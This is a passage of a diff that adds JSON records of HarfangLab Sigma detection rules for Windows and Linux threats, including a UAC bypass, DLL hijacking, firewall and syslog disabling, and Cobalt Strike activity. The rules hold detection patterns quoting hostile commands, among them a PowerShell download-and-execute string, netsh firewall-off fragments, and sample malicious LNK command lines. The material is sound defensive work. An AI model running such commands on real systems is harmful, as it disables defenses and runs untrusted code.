+  "rule_level_override": null,
+  "rule_id": "8f7af33c-6aa5-4203-abdc-0f8909589f83",
+  "rule_name": "UAC Bypass Executed via CDSSync",
+  "rule_description": "Detects attempts to bypass UAC through the CDSSync scheduled task vulnerability.\nAdversaries may bypass UAC mechanisms to elevate process privileges on a system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nThis technique manipulates the SystemRoot environment variable and exploits the Task Scheduler COM interface to load an unsigned npmproxy.dll, triggering elevated command execution through the CDSSync task in \\Microsoft\\Windows\\WlanSvc.\nThe attack bypasses UAC by avoiding the Application Information service entirely through task scheduler abuse.\nIt is recommended to verify DLL signatures in modified SystemRoot paths, and perform analysis on the unsigned DLLs.\n",
+  "rule_creation_date": "2020-11-27",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053",
+    "attack.t1548.002",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f81e67c-c038-4658-93ee-5173e50187a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088389Z",
+  "creation_date": "2026-03-23T11:45:34.088392Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088396Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/fr-fr/windows-server/networking/technologies/netsh/netsh-contexts",
+    "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/",
+    "https://attack.mitre.org/techniques/T1562/004/",
+    "https://attack.mitre.org/software/S0108/"
+  ],
+  "name": "t1562_004_netsh_disable_firewall.yml",
+  "content": "title: Windows Firewall Disabled via netsh\nid: 8f81e67c-c038-4658-93ee-5173e50187a9\ndescription: |\n    Detects when netsh is used to disable the Windows firewall.\n    Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\n    Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules.\n    It is recommended to verify if the process performing this action has legitimate reasons to do it.\nreferences:\n    - https://docs.microsoft.com/fr-fr/windows-server/networking/technologies/netsh/netsh-contexts\n    - https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/\n    - https://attack.mitre.org/techniques/T1562/004/\n    - https://attack.mitre.org/software/S0108/\ndate: 2021/05/07\nmodified: 2025/05/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - attack.s0108\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Netsh\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\netsh.exe'\n        - OriginalFileName: 'netsh.exe'\n\n    selection_cmd_1:\n        CommandLine|contains|all:\n            - ' advfirewall '\n            - ' set '\n            - ' state '\n            - ' off'\n\n    selection_cmd_2:\n        CommandLine|contains|all:\n            - ' firewall '\n            - ' set '\n            - ' opmode '\n            - 'disable'\n    # There are shortcuts for all of those, we can't rely on them\n    # selection_profile:\n    #     CommandLine|contains:\n    #         - ' allprofiles '\n    #         - ' currentprofile '\n    #         - ' domainprofile '\n    #         - ' privateprofile '\n    #         - ' publicprofile '\n\n    exclusion_cegedim:\n        ParentImage: '?:\\Program Files (x86)\\CEGEDIM\\CLM\\Outils\\clmprerequis.exe'\n\n    exclusion_altiris:\n        GrandparentImage: '?:\\Program Files\\Altiris\\Dagent\\dagent.exe'\n\n    exclusion_wapt:\n        GrandparentImage: '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n\n    exclusion_ccm:\n        GrandparentImage: '?:\\Windows\\CCM\\TSManager.exe'\n\n    exclusion_adminarsenal:\n        GrandparentImage: '?:\\Windows\\AdminArsenal\\PDQInventoryRemoteCommand\\service-?\\PDQInventoryRemoteCommand-?.exe'\n\n    condition: selection_bin and 1 of selection_cmd_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f81e67c-c038-4658-93ee-5173e50187a9",
+  "rule_name": "Windows Firewall Disabled via netsh",
+  "rule_description": "Detects when netsh is used to disable the Windows firewall.\nAdversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\nChanges could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules.\nIt is recommended to verify if the process performing this action has legitimate reasons to do it.\n",
+  "rule_creation_date": "2021-05-07",
+  "rule_modified_date": "2025-05-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f83af2f-2ff6-4bcb-b0dd-db41b1a24ba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602601Z",
+  "creation_date": "2026-03-23T11:45:34.602604Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602612Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_propsys.yml",
+  "content": "title: Unsigned propsys.dll Loaded\nid: 8f83af2f-2ff6-4bcb-b0dd-db41b1a24ba7\ndescription: |\n    Detects a suspicious unsigned DLL named 'propsys.dll' loaded by a process that could be a target to DLL hijacking.\n    Adversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\n    It is recommended to investigate the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/25\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\propsys.dll'\n        sha256|contains: '?' # at least one character, some SHA256 are empty\n\n    filter_signed:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    filter_legitimate:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\System32\\propsys.dll'\n            - '?:\\Windows\\SysWOW64\\propsys.dll'\n            - '\\Device\\vmsmb\\VSMB-'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\propsys.dll'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\propsys.dll'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f83af2f-2ff6-4bcb-b0dd-db41b1a24ba7",
+  "rule_name": "Unsigned propsys.dll Loaded",
+  "rule_description": "Detects a suspicious unsigned DLL named 'propsys.dll' loaded by a process that could be a target to DLL hijacking.\nAdversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\nIt is recommended to investigate the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-25",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f9ece2a-eee2-46a8-a109-58ff00b4a416",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080602Z",
+  "creation_date": "2026-03-23T11:45:34.080604Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080609Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SBousseaden/status/1550903546916311043",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_onedrive.yml",
+  "content": "title: DLL Hijacking via OneDrive\nid: 8f9ece2a-eee2-46a8-a109-58ff00b4a416\ndescription: |\n    Detects potential Windows DLL Hijacking via OneDrive.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate executable and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/SBousseaden/status/1550903546916311043\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/07/25\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'OneDrive.exe'\n        ImageLoaded|endswith:\n            - '\\cscapi.dll'\n            - '\\edputil.dll'\n            - '\\secur32.dll'\n            - '\\version.dll'\n            - '\\wininet.dll'\n            - '\\wtsapi32.dll'\n            - '\\userenv.dll'\n            - '\\sspicli.dll'\n            - '\\profapi.dll'\n            - '\\iphlpapi.dll'\n            - '\\dwmapi.dll'\n            - '\\wer.dll'\n            - '\\uiautomation.dll'\n            - '\\xmllite.dll'\n            - '\\winhttp.dll'\n            - '\\urlmon.dll'\n            - '\\credui.dll'\n            - '\\ncrypt.dll'\n            - '\\propsys.dll'\n            - '\\rstrtmgr.dll'\n            - '\\iertutil.dll'\n            - '\\srvcli.dll'\n            - '\\netutils.dll'\n            - '\\mpr.dll'\n            - '\\netapi32.dll'\n            - '\\winmm.dll'\n            - '\\d3d11.dll'\n            - '\\dxgi.dll'\n            - '\\dnsapi.dll'\n            - '\\ntasn1.dll'\n            - '\\wscapi.dll'\n            - '\\msans1.dll'\n            - '\\winsta.dll'\n            - '\\cldapi.dll'\n            - '\\fltlib.dll'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f9ece2a-eee2-46a8-a109-58ff00b4a416",
+  "rule_name": "DLL Hijacking via OneDrive",
+  "rule_description": "Detects potential Windows DLL Hijacking via OneDrive.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate executable and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-07-25",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8fba9e6e-3fe4-45f3-bbec-1d4e0b2aca2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607420Z",
+  "creation_date": "2026-03-23T11:45:34.607424Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607431Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-RaspberryRobin/ta-p/226488",
+    "https://attack.mitre.org/techniques/T1204/001/"
+  ],
+  "name": "t1204_001_potential_process_related_lnk.yml",
+  "content": "title: Malicious Process Started linked to LNK File\nid: 8fba9e6e-3fe4-45f3-bbec-1d4e0b2aca2c\ndescription: |\n    Detects the execution of a potential malicious process that can be the result of clicking a malicious link (LNK file).\n    It is often the result of a spearphishing attack via disk image file (like ISO or IMG) or a lateralisation via USB worm like Raspberry Robin.\n    Attackers may abuse LNK files to hide their malicious actions and make the file explorer display a folder with the specified name to the user.\n    It is recommended to investigate the command-line as well as to correlate this alert with other commands executed around it to determine its legitimacy.\nreferences:\n    - https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-RaspberryRobin/ta-p/226488\n    - https://attack.mitre.org/techniques/T1204/001/\ndate: 2021/12/14\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # C:\\WINDOWS\\system32\\cmd.exe /c start Colis.vbs&start explorer REUNION&exit\n        # C:\\Windows\\System32\\cmd.exe /C xcopy /HY a.cpl C:\\Users\\xxx\\AppData\\Local\\Temp&&start C:\\Users\\xxx\\AppData\\Local\\Temp\\a.cpl&start /D C:\\ /MAX explorer %CD%PLANNING\n        ParentImage|endswith: '\\explorer.exe'\n        Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\mshta.exe'\n            - '\\rundll32.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\msiexec.exe'\n        CommandLine: '*&*start *explorer*'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8fba9e6e-3fe4-45f3-bbec-1d4e0b2aca2c",
+  "rule_name": "Malicious Process Started linked to LNK File",
+  "rule_description": "Detects the execution of a potential malicious process that can be the result of clicking a malicious link (LNK file).\nIt is often the result of a spearphishing attack via disk image file (like ISO or IMG) or a lateralisation via USB worm like Raspberry Robin.\nAttackers may abuse LNK files to hide their malicious actions and make the file explorer display a folder with the specified name to the user.\nIt is recommended to investigate the command-line as well as to correlate this alert with other commands executed around it to determine its legitimacy.\n",
+  "rule_creation_date": "2021-12-14",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8feb7464-713b-43b9-abd3-c00e25ee4f2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091560Z",
+  "creation_date": "2026-03-23T11:45:34.091562Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091566Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/",
+    "https://www.crowdstrike.com/en-us/blog/getting-the-bacon-from-cobalt-strike-beacon/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "t1059_001_cobalt_strike_powershell_import_module.yml",
+  "content": "title: Cobalt Strike Powershell-Import Module Detected\nid: 8feb7464-713b-43b9-abd3-c00e25ee4f2b\ndescription: |\n    Detects a command from the \"Powershell-Import\" Cobalt Strike module that downloads another PowerShell script into the beacon's PowerShell session.\n    The beacon creates an HTTP server that hosts the PowerShell module which is then loaded automatically when PowerShell commands get executed.\n    It is recommended to investigate the PowerShell commands executed by the process in order to get the loaded PowerShell module content.\n    It is also recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/\n    - https://www.crowdstrike.com/en-us/blog/getting-the-bacon-from-cobalt-strike-beacon/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/software/S0154/\ndate: 2025/01/10\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.s0154\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n      PowershellCommand|startswith: 'IEX (New-Object Net.Webclient).DownloadString(*http://127.0.0.1:*);'\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8feb7464-713b-43b9-abd3-c00e25ee4f2b",
+  "rule_name": "Cobalt Strike Powershell-Import Module Detected",
+  "rule_description": "Detects a command from the \"Powershell-Import\" Cobalt Strike module that downloads another PowerShell script into the beacon's PowerShell session.\nThe beacon creates an HTTP server that hosts the PowerShell module which is then loaded automatically when PowerShell commands get executed.\nIt is recommended to investigate the PowerShell commands executed by the process in order to get the loaded PowerShell module content.\nIt is also recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2025-01-10",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8ff98ac0-e971-4cd5-8393-79bb8a209cd3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611894Z",
+  "creation_date": "2026-03-23T11:45:34.611898Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611905Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md",
+    "https://attack.mitre.org/techniques/T1562/001/",
+    "https://attack.mitre.org/techniques/T1489/"
+  ],
+  "name": "t1562_001_disable_rsyslog.yml",
+  "content": "title: Syslog Disabled\nid: 8ff98ac0-e971-4cd5-8393-79bb8a209cd3\ndescription: |\n    Detects when the rsyslog service is disabled.\n    This service is used to forward log messages within the system.\n    Threat actors can disable it to prevent log messages from being forwarded properly between applications.\n    It is recommended to check the parent process for suspicious activities.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md\n    - https://attack.mitre.org/techniques/T1562/001/\n    - https://attack.mitre.org/techniques/T1489/\ndate: 2021/09/22\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.impact\n    - attack.t1489\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.ServiceStop\n    - classification.Linux.Behavior.ImpairDefenses\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_systemctl:\n        Image|endswith: '/systemctl'\n        CommandLine|contains:\n            # Optional options can be placed anywhere in the command line (including in between)\n            - ' stop *rsyslog'\n            - ' disable *rsyslog'\n\n    selection_systemd_manual:\n        Image|endswith: '/rm'\n        CommandLine|contains: '/etc/systemd/system/multi-user.target.wants/rsyslog.service'\n\n    selection_initctl:\n        Image|endswith: '/initctl'\n        CommandLine:\n            # Optional options can be placed anywhere in the command line (including in between)\n            - '* stop *rsyslog*'\n            - '* disable *rsyslog*'\n\n    selection_sysvinit_manual:\n        Image|endswith: '/rm'\n        CommandLine|contains: '/etc/rc.d/init.d/rsyslog'\n\n    selection_logrotate_rsyslog:\n        # Could use the Ancestors field here to capture logrotate directly\n        # but not doing so because this edit was done too close to the Rust\n        # Linux Agent update and could break Python Agent rule.\n        ParentImage: '/bin/sh /usr/lib/rsyslog/rsyslog-rotate'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8ff98ac0-e971-4cd5-8393-79bb8a209cd3",
+  "rule_name": "Syslog Disabled",
+  "rule_description": "Detects when the rsyslog service is disabled.\nThis service is used to forward log messages within the system.\nThreat actors can disable it to prevent log messages from being forwarded properly between applications.\nIt is recommended to check the parent process for suspicious activities.\n",
+  "rule_creation_date": "2021-09-22",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1489",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "904d22a6-6fea-4a89-a827-448a7d0fbdc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088620Z",
+  "creation_date": "2026-03-23T11:45:34.088622Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088626Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/T1218.md#atomic-test-13---lolbas-customshellhost-to-spawn-process",
+    "https://research.checkpoint.com/2025/stealth-falcon-zero-day/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1574/008/"
+  ],
+  "name": "t1218_customshellhost_proxy_execution.yml",
+  "content": "title: Proxy Execution via CustomShellHost.exe\nid: 904d22a6-6fea-4a89-a827-448a7d0fbdc5\ndescription: |\n    Detects the execution of a malicious explorer.exe process spawned by the legitimate CustomShellHost.exe binary.\n    CustomShellHost.exe is a host process used by custom shells when using Windows in Kiosk mode. When executed without parameters, it will launch explorer.exe with the \"/NoShellRegistrationCheck\" argument if explorer.exe is present in the current working directory.\n    Adversaries may bypass process and/or signature-based defenses by renaming a binary to \"explorer.exe\" to proxy execution of malicious content with signed, or otherwise trusted, binaries.\n    It is recommended to investigate the explorer.exe file being run by CustomShellHost.exe, verify if CustomShellHost.exe should be running on the system (as it's unlikely to run on normal workstations), and examine potential malicious actions performed by the spawned explorer.exe process to determine if this activity was legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/T1218.md#atomic-test-13---lolbas-customshellhost-to-spawn-process\n    - https://research.checkpoint.com/2025/stealth-falcon-zero-day/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1574/008/\ndate: 2025/06/13\nmodified: 2025/06/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - 